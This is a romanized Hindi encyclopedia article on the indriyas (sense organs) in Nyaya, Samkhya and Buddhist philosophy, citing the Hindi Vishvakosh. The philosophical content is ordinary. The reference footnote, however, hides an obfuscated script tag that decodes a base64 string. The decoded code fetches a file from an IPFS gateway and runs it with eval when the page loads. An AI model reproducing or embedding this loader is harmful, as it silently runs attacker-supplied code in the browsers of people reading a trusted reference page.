इन्द्रियाँ
punarjanm ke kiye hue karmoan ke anusar sharir utpann hota hai. idriyoan ke abhav mean ham vishayoan ka jnan kisi prakar prapt nahian kar sakate. isalie tarkabhasha ke anusar iandriy vah pramey hai jo sharir se sanyukt, atiandriy (iandriyoan se grahit n hone vala) tatha jnan ka karan ho (sharirasanyuktan jnanan karanamatiandriyamh).[1] panchabhootoan se paanchoan indriyoan ki utpatti kahi gee hai.
- ghranendriy se gandh ka grahan hota hai, isase vah prithvi se bani hai.
- rasana jal se bani hai, kyoanki ras jal ka gun hai.
- chakshu indriy tez se bani hai, kyoanki roop tez ka gun hai.
- tvakh vayu se bani hai, kyoanki sparsh vayu ka gun hai.
- shrotr indriy akash se bani hai, kyoanki shabd akash ka gun hai.
nyay ke anusar iandriyaan do prakar ki hoti haian : (1) bahiriandriy-ghran, rasana, chakshu, tvakh tatha shrotr (paanch) aur (2) aantariandriy-keval man (ek). inamean bahy iandriyaan kramash: gandh, ras, roop sparsh tatha shabd ki upalabdhi man ke dvara hoti haian. sukh du:kh adi bhitari vishay haian. inaki upalabdhi man ke dvara hoti hai. man hriday ke bhitar rahanevala tatha anu paramanu se yukt mana jata hai. iandriyoan ki satta ka bodh praman, anuman se hota hai, pratyaksh se nahian saankhy ke anusar iandriyaan sankhya mean ekadash mani jati haian jinamean jnaneandriyaan tatha karmeandriyaan paanch-paanch mani jati haian. jnaneandriyaan poorvokt paanch haian, karmeandriyaan mukh, hath, pair, maladvar tatha jananeandriy haian jo kramash: bolane, grahan karane, chalane, mal tyagane tatha santanotpadan ka kary karati hai. sankalpavikalpatmak man gyarahavian iandriy mana jata hai.
- bauddhoan ke mat se sharir mean golak dekhe jate haian, unhian ko indriyaan kahate haian, (jaise aankh ki putali, jibh ityadi). parantu naiyayikoan ke mat se jo aang dikhaee p date haian, ve ianndriyoan ke adhishthan matr haian, indriyaan nahian haian.
- indriyoan ka jnan indriyoan ke dvara nahian ho sakata. kuchh log ek hi tvakh indriy manate haian.
- nyay mean unake mat ka khandan karake indriyoan ka nanatv sthapit kiya gaya hai.
- saankhy mean paanch jnanendriyaan, paanch karmendriyaan aur man ko lekar gyarah indriyaan mani gee haian. par man ek antarik karan aur anuroop mana gaya hai.
- yadi man sookshm n hokar vyapak hota to yugapat kee prakar ka jnan sambhav hota, arthath anek indriyoan ka ek kshan mean ek sath sanyog hote hue bhi un sab ke vishayoan ka ek sath jnan ho jata. par naiyayik aisa nahian manate haian.
- gandh, ras, roop, sparsh aur shabd ye paanchoan gun indriyoan ke arth ya vishay haian.
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 503 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
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